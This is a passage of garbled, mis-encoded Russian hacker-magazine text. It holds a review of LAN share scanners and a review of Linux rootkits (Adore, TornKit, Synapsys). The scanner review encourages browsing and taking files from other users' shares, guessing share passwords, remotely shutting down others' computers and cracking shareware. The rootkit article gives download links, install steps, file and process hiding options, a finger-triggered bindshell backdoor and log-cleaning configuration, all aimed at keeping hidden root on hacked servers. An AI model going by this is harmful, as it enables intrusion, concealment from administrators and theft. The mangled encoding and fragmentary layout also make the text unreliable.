ìíîãîå. Íàäåþñü, ÷òî ÿ ïîìîã òåáå
ñäåëàòü ïåðâûé øàã â ïðàâèëüíóþ
ñòîðîíó :).

E
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Ïîìíè, ÷òî áåç ñîîòâåòñòâóþùèõ çíàíèé
ñåòåâûõ ïðîòîêîëîâ òû íèêîãäà íå

ñìîæåøü èñïîëüçîâàòü âñå âîçìîæíîñòè
äàæå ïðîñòåéøåãî ñíèôôåðà

Ïîìíè, òâîé
ëó÷øèé äðóã 

â ïîèñêàõ
íóæíîé 

èíôîðìàöèè
� êîìàíäà

man

Â Ettercap
åñòü î÷åíü õî-

ðîøàÿ îïöèÿ
"-C" � íåïîñ-
ðåäñòâåííûé

ñáîð ïàðîëåé è
âûâîä ïîëó-

÷åííîé èíôîð-
ìàöèè â óäîá-

íîé ôîðìå:
âçàèìîäåé-
ñòâóþùèå

õîñòû, ëîãèí,
ïàðîëü

Íàáîð ïëàãèíîâ Ettercap. Íåïëîõî, 

íå ïðàâäà ëè?
Ethereal â ðàáîòå



Äóìàþ, íåò ñìûñëà ïîÿñíÿòü òåáå, ÷òî òàêîå ðàñøàðåííûå ðåñóðñû è çà÷åì èõ èñêàòü.
Ïðî ýòî óæå ìíîãî ðàç óïîìèíàëîñü â íàøåì æóðíàëå, è â ýòîì íîìåðå òû òàêæå
ñìîæåøü íàéòè íåìàëî èíòåðåñíîãî ïî ýòîé òåìå.

àìåêíó òåáå òîëüêî,
÷òî â ëþáîé ñåòè âñåã-
äà íàéäåòñÿ íåêîòîðîå

êîëè÷åñòâî òà÷åê, íà êîòîðûõ åñòü
ëèáî îáùèå ïàïêè, ëèáî äàæå öåëûå
äèñêè è ïðèíòåðû, ñ ïîìîùüþ êîòî-
ðûõ þçåðû îáìåíèâàþòñÿ ôàéëèêà-
ìè èëè ïðîñòî ïî ñâîåé íåãðàìîòíîñ-
òè îòêðûâàþò èõ äëÿ îáùåãî îáîçðå-
íèÿ. À êàêèå ôàéëèêè ìîæíî íàéòè
íà òàêèõ äèñêàõ - ýòî óæå îòäåëüíàÿ
ïåñíÿ! Ïðî ôàéëû ïàðîëåé ÿ ïðî-
ìîë÷ó, äóìàé ñàì, ÷òî òû ìîæåøü
óòàùèòü ñ ÷óæîãî äèñêà è ÷òî òåáå
ïîòîì çà ýòî ìîæåò áûòü, åñëè êòî-òî
ïðîíþõàåò. Åñëè òâîÿ òà÷êà íå ïîäê-
ëþ÷åíà ê êàêîé-íèáóäü ëîêàëêå è òû
ïîëüçóåøüñÿ ñêðîìíûì äèàë-àïîì,
íå ïåðåæèâàé - ñêàíèðîâàíèå òâîåãî
ïðîâàéäåðà è äðóãèõ åãî ïîëüçîâà-
òåëåé òîæå ìîæåò ïðèíåñòè íåïëî-
õèå ðåçóëüòàòû, õîòÿ è ñ áîëüøèìè

òîðìîçàìè. À ïîêà ÷òî ÷èòàé è âûáè-
ðàé ñåáå èíñòðóìåíòàðèé... ýýý... ÷èñ-
òà â îçíàêîìèòåëüíûõ öåëÿõ :).

LANScope
Êà÷àòü: lanproject.boom.ru
Ðàçìåð: 948 Êá
Ðàñïðîñòðàíÿåòñÿ: Freeware

Íà ìîé âçãëÿä - ýòî ëó÷øàÿ ïðîãà â
íàøåì îáçîðå. Ýòî áîëüøå, ÷åì
ïðîñòî ñêàíåð øàð. Ìàëî òîãî, ÷òî
ñî ñâîåé îñíîâíîé çàäà÷åé ïðîã-
ðàììà ñïðàâëÿåòñÿ ïðîñòî íà óðà,
òàê îíà åùå ìíîãî ÷åãî óìååò. Íî
îáî âñåì ïî ïîðÿäêó.

LANScope - ýòî òâîðåíèå ðóññêèõ
ïðîãðàììèñòîâ, ê òîìó æå åùå è àá-
ñîëþòíî áåñïëàòíîå. Åñëè òû íå êî-
ðèôåé â àíãëèéñêîì ÿçûêå, òî ñïåøó
òåáÿ óòåøèòü - ýòà ïðîãà ïîëíîñòüþ
íà ðóññêîì è ñ ðóññêèìè õåëïàìè. Ñ
íåþ òû ñìîæåøü ñêàíèðîâàòü íå
òîëüêî êàæäûé ñåãìåíò ïî îòäåëü-
íîñòè, êàê âî ìíîãèõ ïîäîáíûõ ïðî-

ãàõ, à ñîñòàâèòü ñïèñîê àäðåñíûõ
ïðîñòðàíñòâ, äà åùå è ñîõðàíèòü åãî,
à ïîòîì ñêàíèðîâàòü âñå ýòè ñåãìåí-
òû îäíèì ìàõîì. Ñïèñêîâ ìîæíî ñîñ-
òàâèòü íåñêîëüêî, äàâ èì ïîíÿòíûå
èìåíà, à ïîòîì âðåìÿ îò âðåìåíè
ñìîòðåòü, íå ïîÿâèëîñü ëè ÷òî-íè-
áóäü íîâîå â âûáðàííîì àäðåñíîì
ïðîñòðàíñòâå, à òàêæå íå ïîëîæèëè
ëè íà óæå íàéäåííûå ðàíåå ðåñóðñû
êàêèå-íèáóäü íîâûå ôàéëèêè. Âñå
íàéäåííîå òîáîé, êîíå÷íî æå, ñîõðà-
íÿåòñÿ. Ïðîãà îáåñïå÷èâàåò î÷åíü
óäîáíóþ íàâèãàöèþ ïî ñïèñêàì è
íàéäåííûì ðåñóðñàì. È ïðè âñåì ïðè
ýòîì ïðîãà î÷åíü øóñòðàÿ!

Íàéäåííûé ðåñóðñ íå îáÿçàòåëüíî
ïîäêëþ÷àòü ê òâîåé òà÷êå, òû ìî-
æåøü âñåãî ëèøü êëèêíóòü ïî íåìó
è ïîñìîòðåòü, ÷òî íà íåì åñòü, à åñëè
îí çàïàðîëåí, òî òóò æå òåáå ïðåäëî-
æàò ââåñòè ëîãèí è ïàðîëü (êàê ïîñ-

òóïàòü ñ ïàðîëåì, åñëè òû åãî... õìì...
"çàáûë", ÷èòàé â ýòîì æå íîìåðå).

Ê äîïîëíèòåëüíûì ôóíêöèÿì
ìîæíî îòíåñòè òî, ÷òî ïðîãà íàõî-
äèò íå òîëüêî øàðû, íî åùå ftp è
http ñåðâåðû, óñòàíîâëåííûå íà
ëþáîé èç ìàøèí ñêàíèðóåìîãî
ïðîñòðàíñòâà. È åùå îíà ïîêàçûâà-
åò âñå âêëþ÷åííûå â äàííûé ìî-
ìåíò êîìïüþòåðû, à íå òîëüêî òå,
íà êîòîðûõ ÷òî-òî åñòü, âïðî÷åì, òû
ìîæåøü ïîòîì îòñåÿòü èõ ïî çàäàí-
íîìó êðèòåðèþ.

Â äîïîëíåíèå ê ýòîé ñîôòå ñ òîãî
æå ñàéòà è îò òåõ æå ðàçðàáîò÷è-
êîâ ìîæíî ñêà÷àòü åùå íåñêîëüêî
èíòåðåñíûõ áåñïëàòíûõ ïðèìî÷åê,
êàæäàÿ èç êîòîðûõ ìîæåò ðàáîòàòü
êàê â ñîñòàâå ñ ýòîé ïðîãîé, òàê è
îòäåëüíî. Íàïðèìåð, LANSend ïîç-
âîëèò îòïðàâèòü ñîîáùåíèå íà óäà-
ëåííûé êîìïüþòåð, ýìóëèðóÿ ñòàí-
äàðòíóþ êîìàíäó net send. Äîñòà-
òî÷íî ùåëêíóòü ïðàâîé êíîïêîé
êðûñû íà ëþáîì èç íàéäåííûõ

êîìïüþòåðîâ, âûáðàòü "Ïîñëàòü
ñîîáùåíèå" è ââåñòè åãî òåêñò. Íà
óäàëåííîì êîìïå þçåð óâèäèò
âñïëûâàþùåå îêíî ñ òâîèì òåêñòîì
è êíîïêîé "Îê". Åñëè òåáå íåäîñòà-
òî÷íî ïðîñòî ïðèïóãíóòü þçåðà è
òû ðåøèë ó÷èíèòü ðåàëüíûé äåñò-
ðîé, òîãäà êà÷àé ïðîãó
LANShutdown - îíà ïîçâîëÿåò óäà-
ëåííî îòêëþ÷èòü ÷óæóþ òà÷êó. Òàê
æå, êàê è LANSend, ýòó ïðèìî÷êó
ìîæíî þçàòü ïðÿìî èç ñêàíåðà
LANScope.

À ÷òîáû çàùèòèòüñÿ îò ïîäîáíûõ âå-
ùåé, òåáå ïîìîæåò ïðîãà èç òîé æå ñå-
ðèè ïîä íàçâàíèåì LANSafety, êîòî-
ðàÿ ïîçâîëÿåò ñêðûòü ñâîþ òà÷êó â
ñåòåâîì îêðóæåíèè, çàùèòèò òåáÿ îò
ëþáèòåëåé êîìàíä "net use
\\òâîÿ_òà÷êà\ ñ$", "net use \\òâîÿ_òà÷-
êà\ admin$" è ïðî÷èõ íàïðàâëåííûõ
íà ñêðûòûå ðåñóðñû êîìàíä, à òàêæå
óáåðåæåò è îò íóëü-ñåññèè.

Â íàãðóçêó ðåêîìåíäóþ ñêà÷àòü è
LANLoad, êîòîðàÿ îáëåã÷àåò ïðî-
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LANScope - ëó÷øèé ñêàíåð øàðîâ ñ
îãðîìíûì êîëè÷åñòâîì ïðîã-ïðèìî÷åê,
ïîçâîëÿþùèõ òâîðèòü â ñåòè âñå, ÷òî

äóøå óãîäíî

Íóëü-ñåññèÿ -
îòëè÷íûé ñïî-
ñîá çàãëÿíóòü 
íà ÷óæîé äèñê,
äàæå åñëè îí íå
ðàñøàðåí

Çàáûë ïàðîëü ê
øàðàì ñîñåäà ïî
ëîêàëêå?
Xintruder, è 
ìóçûêà èãðàåò,
à ôèëüìû êðó-
òÿòñÿ nonstop!

Shares finder
ïîêà ñèëüíî
ïðîèãðûâàåò ïî
âîçìîæíîñòÿì
LANScope, íî
ýòî òîëüêî áåò-
êà. Ñëåäè çà
ðåëèçîì!

Ñåòåâîé ìîíñòð îò Lanproject

Ñòàðè÷îê Ëåãèîí



öåññ ñêà÷èâàíèÿ ôàéëîâ ñ ðàñøà-
ðåííûõ ðåñóðñîâ. Åå ðàáîòà íàïî-
ìèíàåò GetRight èëè ReGet è ïîçâî-
ëèò äîêà÷àòü ôàéë â äðóãîé ðàç,
åñëè þçåð, ê êîòîðîìó òû "ïðèñî-
ñàëñÿ", âäðóã îòêëþ÷èò êîìï è
îáîðâåò òâîå ñîåäèíåíèå ñ íèì.

Âîò òàêîé ìîùíûé äæåíòëüìåíñêèé
íàáîð îò lanproject, êîòîðûé òû ïîëó-
÷àåøü àáñîëþòíî õàëÿâíî è áåç âñÿ-
êèõ ðåêëàìíûõ áàííåðîâ è nag-
screen'îâ. Îäíèì ñëîâîì - must have!

LEGION
Êà÷àòü: http://www.fzg-crew.
narod.ru/fricker/files/legion.zip
Ðàçìåð: 1.9 Ìá
Ðàñïðîñòðàíÿåòñÿ: Shareware

Îäíà èç ñàìûõ ïðîñòûõ è ïîïóëÿð-
íûõ ïðîã äëÿ ïîèñêà øàð. Â îòëè÷èå
îò ïðåäûäóùåãî êîìáàéíà, ýòà ñîô-
òèíà, êðîìå ñêàíèðîâàíèÿ îáùèõ ðå-
ñóðñîâ, íè äëÿ ÷åãî íå ïðèãîäíà. Çà-
òî ñâîþ ðàáîòó îíà äåëàåò î÷åíü äà-

æå íåïëîõî è áûñòðî. Ïðè÷åì ñêî-
ðîñòüþ ñêàíèðîâàíèÿ ìîæíî óïðàâ-
ëÿòü. Ëåãèîí ïîêàçûâàåò âñå êîìïü-
þòåðû ñ îáùèìè ðåñóðñàìè è íè÷åãî
ëèøíåãî. ×òîáû ïîäêëþ÷èòü ëþáîé
èç íàéäåííûõ äèñêîâ è îçíàêîìèòü-
ñÿ ñ åãî ñîäåðæèìûì, äîñòàòî÷íî
ùåëêíóòü íà íåì. Õîòÿ ïðîãà è ÿâëÿ-
åòñÿ øàðîâàðîé, ýòî íå ìåøàåò åå
ïîëíîöåííîìó èñïîëüçîâàíèþ, õîòÿ
ïåðèîäè÷åñêè ïðè ñòàðòå îíà áóäåò
íàïîìèíàòü î íåîáõîäèìîñòè çàïëà-
òèòü. Âïðî÷åì, ÿ äóìàþ, òû çíàåøü,
êàê ýòî èñïðàâèòü. Áåãîì â àïòåêó :)!

SHARES FINDER
Êà÷àòü: sequritylab.ru
Ðàçìåð: 200 Êá
Ðàñïðîñòðàíåíèå: Freeware

Ïðîãà ïî÷òè òàêàÿ æå, êàê Legion. Ê
ñîæàëåíèþ, âñå íàâîðîòû, êîòîðûå
ïîçâîëèëè áû åé îïåðåäèòü ïî âîç-
ìîæíîñòÿì ïðåäûäóùèå ïðîãè, ðàç-
ðàáîò÷èê îáåùàåò òîëüêî â ôèíàëü-
íîé âåðñèè, à ýòî âñåãî ëèøü áåòà.
Ñðåäè íèõ äîëæíû áûòü äàæå òàêèå

âîçìîæíîñòè, êàê ïîäáîð ïàðîëÿ ê
çàïàðîëåííîìó ðåñóðñó. À ïîêà ïðî-
ãà óìååò âñå òî æå ñàìîå, ÷òî è
Legion, íî â äîïîëíåíèå ê ýòîìó ìî-
æåò èñêàòü çàäàííîå èìÿ ôàéëà êàê
íà îäíîì îáùåì ðåñóðñå, òàê è íà
íåñêîëüêèõ. Òàê æå, êàê è ó
LANSope, åñòü âîçìîæíîñòü ñîõðà-
íèòü ðåçóëüòàòû ñêàíèðîâàíèÿ. Ïî
ñêîðîñòè ïîèñêà ïðîãà âñå æå çäîðî-
âî ïðîèãðûâàåò ïðåäûäóùèì, õîòÿ,
ïî âñåé âèäèìîñòè, â ôèíàëüíîé
âåðñèè áóäåò âîçìîæíîñòü ïåðåêëþ-
÷àòü ñêîðîñòü, êàê â Legion.

XSharez
Êà÷àòü: http://freesoft.ru/
ftpsearch.html?q=xsharez3ru.zip
Ðàçìåð: 1 Ìá
Ðàñïðîñòðàíÿåòñÿ: Freeware

Òîæå äîñòàòî÷íî èçâåñòíûé ñêàíåð,
ðàçðàáîòàííûé íàøèì ïðîãðàììèñ-
òîì. Îí óìååò íå òîëüêî èñêàòü îá-
ùèå ðåñóðñû, íî òàêæå ïîäáèðàåò ê
íèì ïàðîëü. Ýòà ïðîãà èç òîé æå ñå-
ðèè, ÷òî è ïîäáîðùèê ïàðîëÿ íà
øàðû - XIntruder, î êîòîðîì òû ìî-
æåøü ïðî÷èòàòü â ýòîì æå íîìåðå.
Íî â XSharez åñòü ñðàçó âñå, ÷òî
íóæíî, - îíà ìîæåò çàìåíèòü è ñêà-
íåð, è ïîäáîðùèê ïàðîëÿ. Èç ïîëåç-
íûõ ôóíêöèé ìîæíî âûäåëèòü òî,
÷òî ïðîãà ïîêàçûâàåò âñå âêëþ÷åí-
íûå â äàííûé ìîìåíò êîìïüþòåðû â
ñêàíèðóåìîì ñåãìåíòå, äà åùå è ñî-
îáùàåò òåáå èõ MAC àäðåñà, ñåòå-
âîå èìÿ, ðàáî÷óþ ãðóïïó, à â íåêî-
òîðûõ ñëó÷àÿõ äàæå îñü. ß äóìàþ,
åñëè òû è íå íàðîåøü øàðû, òî, êàê
ìèíèìóì, íàéäåøü ïðèìåíåíèå ïî-
ëó÷åííûì äàííûì. Â îáùåì, ýòà
ïðîãðàììà - îäíîçíà÷íî must see!
Â ÇÀÊËÞ×ÅÍÈÈ... ÏËÎÕÎ
Âîò è âñå äîñòîéíûå ñêàíåðû, êîòî-
ðûå ïîïàëè â íàøå ïîëå çðåíèÿ
ïðè ïîäãîòîâêå äàííîãî îáçîðà. Êî-
íå÷íî æå, åñòü è äðóãèå ñîôòèíû,
íî îíè, êàê ïðàâèëî, ìàëî ÷åì îòëè-
÷àþòñÿ äðóã îò äðóãà è îò òåõ, ÷òî
ìû çäåñü òåáå îïèñàëè. Ìîæåøü
ïîïðîáîâàòü êàæäûé èç íèõ, îíè
âñå ïî-ñâîåìó õîðîøè, è ñî âñåìè
ìîæíî äîáèòüñÿ íóæíûõ ðåçóëüòà-
òîâ. Ãëàâíîå, ÷òîáû ðóêè ïðÿìûå
áûëè. Â îáùåì, ïðîáóé.

Äà! Ïðè ïîäãîòîâêå äàííîãî îáçî-
ðà íè îäèí þçåð íå ïîñòðàäàë...

E

Xsharez: åùå áîëüøå èíôû î øàðàõ!

Ìíîãîîáåùàþùàÿ áåòêà



Êòî-òî øëÿåòñÿ ïî òåìíûì ïîäâîðîòíÿì, êòî-òî æðåò ãàëëþöèíîãåíû, à êòî-òî äíÿìè
è íî÷àìè íàïðîëåò ìàíüÿ÷èò â ñåòè â ïîèñêàõ óÿçâèìîñòè íà î÷åðåäíîì ñåðâåðå.
Íåêîòîðûå äåëàþò ýòî ðàäè ñïîðòèâíîãî èíòåðåñà, à íåêîòîðûå óìûøëåííî, ÷òîáû
ñëîìàòü ñåðâàê è íàïèñàòü íà ãëàâíîé ñòðàíè÷êå "Hacked by $nick $reason".

î õàïíóòü ðóòà - ýòî îä-
íî, à óäåðæàòü root-
shell - ýòî ñîâñåì äðó-

ãîå. Âåäü íóæíî ñêðûòü ñëåäû âçëîìà
îò çëîáíîãî àäìèíà è îáåñïå÷èòü ñå-
áå áûñòðûé è íåçàìåòíûé äîñòóï ê
çàõâà÷åííîé ñèñòåìå. Êàê æå õàêåðû
óäåðæèâàþò ïðàâà ñóïåðïîëüçîâàòå-
ëÿ íà âçëîìàííîé òà÷êå? Îíè þçàþò
ñïåöèàëüíûé ñîôò! ×òî ýòî çà ñîôò,
êàêîé îí áûâàåò, ÷òî óìååò, êàêèå
ïëþñû è ìèíóñû èìååò òà èëè èíàÿ
òóëçà, ìû âûÿñíèì â ýòîì îáçîðå.

ÐÓÒÊÈÒÛ ÁÛÂÀÞÒ ÐÀÇÍÛÅ...
Åñòü íåñêîëüêî òèïîâ ðóòêèòîâ. Âîò
ñàìûå ðàñïðîñòðàíåííûå èç íèõ:

1) ðóòêèòû, îòêðûâàþùèå
SSH/Telnet ïîðò íà ìàøèíå ñ ïðàâàìè
çàïóñòèâøåãî åãî ïîëüçîâàòåëÿ, íî
ïðè ýòîì ÍÅ çàìåíÿþùèå ñèñòåìíûå
ïðîãðàììû òèïà ls, ps, netstat è ò.ä. íà
èõ ïðîòðîÿíåííûå âåðñèè;

2) àíàëîãè÷íûå ðóòêèòû, íî çàìåíÿ-
þùèå ñòàíäàðòíûå ñåðâèñû íà áýêäî-
ðû;

3) ðóòêèòû, êîòîðûå íå îòêðûâàåò
ïîðò, ïîêà âëàäåëåö ðóòêèòà íå ïîø-
ëåò ñïåöèàëüíûé çàïðîñ íà ñåðâåð, ê
ïðèìåðó, ping -p êëþ÷.

Èëè åùå îäèí èíòåðåñíûé âèä ðóò-
êèòà, êîòîðûé íà äàííûé ìîìåíò ðåà-
ëèçîâàí h0rde team. Êîìàíäû ïðèíè-
ìàþòñÿ íà e-mail, êîòîðûé íàõîäèòñÿ
íà õàêíóòîì ñåðâàêå :). Îòâåòû îòï-
ðàâëÿþòñÿ íà ìûëî âëàäåëüöà ðóòêè-
òà. Åñëè ïî÷òîâûé ÿùèê çàêðûâàþò,
òî ðóòêèò ñîçäàåò íîâûé è èçâåùàåò
îá ýòîì ñâîåãî owner'a.

Â ýòîì îáçîðå ÿ ïîäðîáíî ðàññìîò-
ðåë ñàìûå ðàñïðîñòðàíåííûå ðóòêèòû

èç ïåðâîé è âòîðîé ãðóïï, à èìåííî:
ADORE, TornKit, Synapsys, lrk, knark.
Íà÷íåì ïî ïîðÿäêó.

ADORE
Ñóùåñòâóþò äâå ðåàëèçàöèè adore:
ïîä Linux è ïîä FreeBSD. Òåêóùàÿ
âåðñèÿ - 0.42 (adore-0.42.tar.gz) äëÿ
Ëèíóêñà, è 0.34 (adorebsd-0.34.tar.gz)
- äëÿ ñèñòåì òèïà *BSD. Ïðè âñåõ ñâî-
èõ ôóíêöèÿõ àðõèâ ñ ñîðöàìè adore
ïîä Ëèíóõ âåñèò îêîëî 15 êá, à ïîä
*BSD âñåãî 9 êá. Ðàçðàáîòàíà äàííàÿ
òóëçà êîìàíäîé ïîä íàçâàíèåì TESO
Security Group (http://team-teso.net).
Àäîðå ñîçäàí íà îñíîâå LKM ðóòêèòà
äëÿ ÿäðà (Linux) v.2.[24].

Òåïåðü ÿ ðàññêàæó òåáå î òîì, ÷òî
ýòîò ðóòêèò ìîæåò. À ìîæåò îí ïðÿ-
òàòü ôàéëû è äèðåêòîðèè, â êîòîðûõ
íàõîäèòñÿ, - îíè îñòàþòñÿ ñêðûòûìè
äàæå ïîñëå ðåáóòà, íûêàòü ïðîöåññû
â ps. Òàêæå adore ïàò÷èò íåòñòàò òà-
êèì îáðàçîì, ÷òîáû òîò íå ïîêàçû-
âàë, ÷òî îòêðûò ïîðò, íà êîòîðîì âè-
ñèò äàííûé ðóòêèò. Åùå ýòà òóëçà
ïîääåðæèâàåò ôóíêöèþ "ñàìîóíè÷-
òîæåíèÿ" (àíèíñòàëëÿöèè). Â ïàêåò
ÏÎ :) âõîäèò ïðîãðàììà äëÿ êîíòðîëÿ
çà ðàáîòîé ðóòêèòà. À ýòî âåñüìà
çíà÷èòåëüíûé ïëþñ!

Åñòü, êîíå÷íî æå, è íåäîñòàòêè.
ADORE, âïðî÷åì, êàê è ïî÷òè âñå ðóò-
êèòû èç ïåðâîé è âòîðîé ãðóïï, ìîæ-
íî âû÷èñëèòü ñ ïîìîùüþ âñÿêèõ ðóò-
êèò-ôàéíäåðîâ. Íî, íåñìîòðÿ íà ýòî, â
êîìïëåêòèêå èäåò ôèøêà ava, êîòîðàÿ
çàòðóäíèò óäàëåíèå ðóòêèòà èç ñèñòå-
ìû. Åùå îäèí íþàíñ: åñëè òû ïîâå-
ñèøü ADORE íà 30-é ïîðò, òî ïîðòû
30*** òîæå íå áóäóò âèäíû â íåòñòà-

òå. Òàê ÷òî ïðèäóìûâàé ïîðò ïîîðèãè-
íàëüíåå, ê ïðèìåðó, 7104-é.

Òåïåðü ïîãîâîðèì îá óñòàíîâêå.
Òóëçó ìîæíî óñòàíàâëèâàòü äâóìÿ
ìåòîäàìè: ïîïðàâèòü ðó÷êàìè
Makefile ëèáî çàþçàòü óäîáíûé èíñ-
òàëëÿöèîííûé ñêðèïò. Ïåðâûì äåëîì
òåáå ïðèäåòñÿ ðàñïàêîâàòü àðõèâ. Äå-
ëàåòñÿ ýòî òàê: tar -zxvf adore-
0.42.tar.gz (âîîáùå-òî, ðàç òû ïîðó-
òèë òà÷êó, òû äîëæåí ýòî çíàòü :)). Íî
âñå æå íàïîìíþ. Ïîñëå òîãî êàê àð-
õèâ ðàñïàêîâàëñÿ, çàõîäè â ïàïêó ñ
adore, çàòåì: ./configure, make all. Çà-
ïóñêàåìûé ôàéë - ./ava. Äîñòóïíû
ñëåäóþùèå ôëàãè: U - uninstall; u - ïî-
êàçàòü ôàéë, h - ñïðÿòàòü ôàéë, r -
âûïîëíèòü êàê root, i - íåâèäèìûé PID,
v - âèäèìûé PID, R - remoute (óäàëåí-
íûé) PID. Ïîäðîáíåå íàïèñàíî â
README.

TORNKIT
Ýòîò ðóòêèò, òàê æå êàê è ìíîæåñòâî
äðóãèõ, îñíîâàí íà LRK (Linux Root
Kit) by J0hnny7. Òåêóùàÿ âåðñèÿ òóë-
çû 6.66. Ðóòêèò îïòèìèçèðîâàí ïîä
linux/x86. Ýòî ïåðâûé ðóòêèò, èñïîëü-
çóþùèé çàðàíåå îòêîìïèëèðîâàííûå
òðîÿíû. Ñîäåðæèò ïîäìåíû äëÿ áîëü-
øîãî êîëè÷åñòâà ñèñòåìíûõ óòèëèò,
òàêèõ êàê: ls, login, ps, du, top, find, à
òàêæå netstat. Îáíàðóæèòü ýòîò ðóò-
êèò âåñüìà ïðîñòî. Îí îñòàâëÿåò ìíî-
ãî ñëåäîâ: ñîçäàåò "ñêðûòóþ" îò ãëàç
àäìèíà äèðåêòîðèþ /usr/src/.puta, íî
ýòî âðÿä ëè ïîìîæåò, âåäü äîñòàòî÷-
íî âûïîëíèòü ls -a ;). Åùå åñòü îäíî
ïàëåâî: â ñèñòåìå ïîäíèìàþòñÿ tel-
netd è fingerd, äàæå åñëè îíè áûëè
îòêëþ÷åíû (ñìîòðè, ÷òî TornKit äåëà-
åò ñ inetd.conf). Òàêæå â ìèíóñû ìîæ-
íî çàïèñàòü òî, ÷òî òîðíêèò ïîñòàâëÿ-
åòñÿ â îòêîìïèëèðîâàííîì âèäå, à íå
â âèäå èñõîäíèêîâ, à ýòî çíà÷èò, ÷òî
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ÐÓÒÊÈÒÛ ÏÎÄ
ÏÐÀÂÈËÜÍÓÞ ÎÑÜ

[ElviS] (elvis@sgroup.net)

Í

ÎÁÇÎÐ ÑÀÌÛÕ ÐÀÑÏÐÎÑÒÐÀÍÅÍÍÛÕ 
ROOTKIT'ÎÂ ÏÎÄ ËÈÍÓÊÑ

Ïî÷òè âñå
ðóòêèòû èç
ïåðâîé è âòî-
ðîé ãðóïï,
ìîæíî âû÷èñ-
ëèòü ñ ïî-
ìîùüþ âñÿ-
êèõ ðóòêèò-
ôàéíäåðîâ.

Adore

ADORE
Link: http://packetstormsecurity.nl/groups/teso/adore-0.42.tgz
Ðàçìåð: 14.4 êá

T0rnKit
Link: http://packetstormsecurity.nl/UNIX/penetration/rootkits/tk.tgz
Ðàçìåð: 335,5 êá

Synapsys
Link: http://packetstormsecurity.nl/UNIX/penetration/rootkits/
Synapsys-lkm.tar.gz
Ðàçìåð: 5,2 êá
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íåëüçÿ èçìåíèòü òàêèå ïàðàìåòðû,
êàê "home directory" /usr/src/.puta è
ò.ä., ÷òî ìîæåò ñâåñòè íà íåò âñå óñè-
ëèÿ. Ïî èäåå, ýòî äåëàëîñü äëÿ òîãî,
÷òîáû "îáëåã÷èòü" óñòàíîâêó äàííîãî
ðóòêèòà â ñèñòåìó :).

TornKit ðàáîòàåò ÷åðåç SSH è ÷åðåç
login, â îòëè÷èå îò 70% ðóòêèòîâ, ðà-
áîòàþùèõ òîëüêî ïî ïðîòîêîëó
Telnet. Ñïîñîáîâ çàëîãèíèòüñÿ ñóùå-
ñòâóåò ïðîñòî ìîðå! Âî-ïåðâûõ, ÷åðåç
ssh íà çàäàííûé ïîðò (ïî äåôîëòó -
47017); âî-âòîðûõ, èñïîëüçóÿ finger
(åñëè çàþçàòü êîìàíäó finger pass-
word@tornkit.com, íà ïîðòó 2555 îòê-
ðîåòñÿ ïðèìèòèâíûé áèíäøåëë, ê êî-
òîðîìó ìîæíî ïðèòåëíåòèòüñÿ è íàñ-
ëàæäàòüñÿ ïðåëåñòÿìè õàêíóòîé ìà-
øèíû); è â-òðåòüèõ, ìîæíî ïðîñòî çà-
þçàòü login ;). Â "áîåêîìïëåêò" âõîäÿò
ëîãêëèíåð è ñíèôôåð. Êà÷åñòâîì
ýòèõ òóëç ÿ íå î÷åíü äîâîëåí, åñëè
÷åñòíî :).

Òåïåðü îïèøó ïîäðîáíåå íåêîòî-
ðûå óñòàíîâî÷íûå íàñòðîéêè è òóëçû
TornKit'à:

.1file ñîäåðæèò â ñåáå ñïèñîê òåõ
ôàéëîâ, êîòîðûå áóäóò ñêîïèðîâàíû
â /usr/src/.puta;

.1proc ñîäåðæèò ñïèñîê ïðîöåññîâ,
êîòîðûå áóäóò ïðÿòàòüñÿ â ps;

.1addr ñîäåðæèò ñïèñîê àäðåñîâ, êî-
òîðûå íå áóäóò ïîêàçûâàòüñÿ â íåòñ-
òàò (ê ïðèìåðó, òâîé ip);

.1logz ñîäåðæèò ñïèñîê ïðîãðàìì è
õîñòîâ, ïî êîòîðûì áóäóò ÷èñòèòüñÿ
ëîãè (íå ñëèøêîì òùàòåëüíî, íî áó-
äóò);

t0rnsb - ëîãêëèíåð;
t0rns - õðåíîâåíüêèé ñíèôôåð;
t0rnp - ôèëüòð ëîãîâ ñíèôôåðà;
Âíèìàòåëüíî ïî÷èòàé ðèäìè â àðõè-

âå - òàì îïèñàíî ìíîæåñòâî äðóãèõ
ôóíêöèé è îïöèé ÒîðíÊèòà.

Íåïëîõîé ðóòêèò, åñëè ñòàâèòü åãî
íà êîðîòêèé ñðîê ;).

SYNAPSYS
Äàííûé ðóòêèò ïîñòàâëÿåòñÿ îäíèì
áîëüøèì èñõîäíèêîì synapsys.c, íà-
ïèñàííûì ïîä Ëèíóêñ ñ ÿäðîì 2.2.x.
Èñõîäíèê íàäî ïåðåäåëûâàòü ïîä ñå-
áÿ (âîò ýòî ïî-íàøåìó!). Òåêóùàÿ
âåðñèÿ 0.4. Coded by Berserker for
Neural Collapse Crew (www.neural-col-
lapse.org). Êîìïèëèðîâàòü åãî íàäî ñ
îïöèåé -c ÷òîáû ïîëó÷èòü ìîäóëü,
êîòîðûé ïîäêëþ÷àåòñÿ ê ÿäðó êîìàí-
äîé insmod. Ñèíàïñèñ îñíîâàí íà
LKM (îïÿòü êàøà... ;)). Åãî ëåãêî îò-
ëîâèòü â /proc/modules, à òàêæå ÷å-
ðåç lsmod, êàê è äðóãèå ðóòêèòû, óñ-
òàíàâëèâàþùèåñÿ â ñèñòåìó â âèäå
ìîäóëÿ ê ÿäðó. Â ñåòè âàëÿåòñÿ
"ïàò÷", êîòîðûé çàñòàâëÿåò ëñìîä íå

ïîêàçûâàòü ñèíàïñèñ â ñïèñêå ìîäó-
ëåé. Â ñàìîì ðóòêèòå òîæå åñòü òà-
êàÿ ôèøøêà - ñïðÿòàòü/ïîêàçàòü
LKM (Linux Kernel Module), íî äîâå-
ðÿòü åé ÿ îñîáî íå ñòàë áû. Íàñòðàè-
âàåòñÿ ñèíàïñèñ âî âðåìÿ ðàáîòû ñ
ïîìîùüþ êîìàíäû cat ;). Íàïðèìåð,
ïîëó÷èâ êîìàíäó "cat trabozunin",
ñèíàïñèñ óäàëèò ñåáÿ èç ñèñòåìû, òî
áèøü àíèíñòàëëèòñÿ.

×òî æå ìîæåò äàííûé ðóòêèò? À ìî-
æåò îí âîò ÷òî: ïðÿ÷åò ïðîöåññ, àòòà-
÷èò ñèãíàë -32 (ïî äåôîëòó) ê êîìàí-
äå kill, òî åñòü, åñëè âûïîëíèòü kill -32
pid, pid, êîòîðûé òû óêàçàë, ñïðÿ÷åòñÿ
:); òàêæå ñèíàïñèñ ïðÿ÷åò ñåáÿ â íåòñ-
òàòå, íûêàåò ïîëüçîâàòåëÿ â who/fin-
ger/w, à åùå îí óìååò âûêèäûâàòü òà-
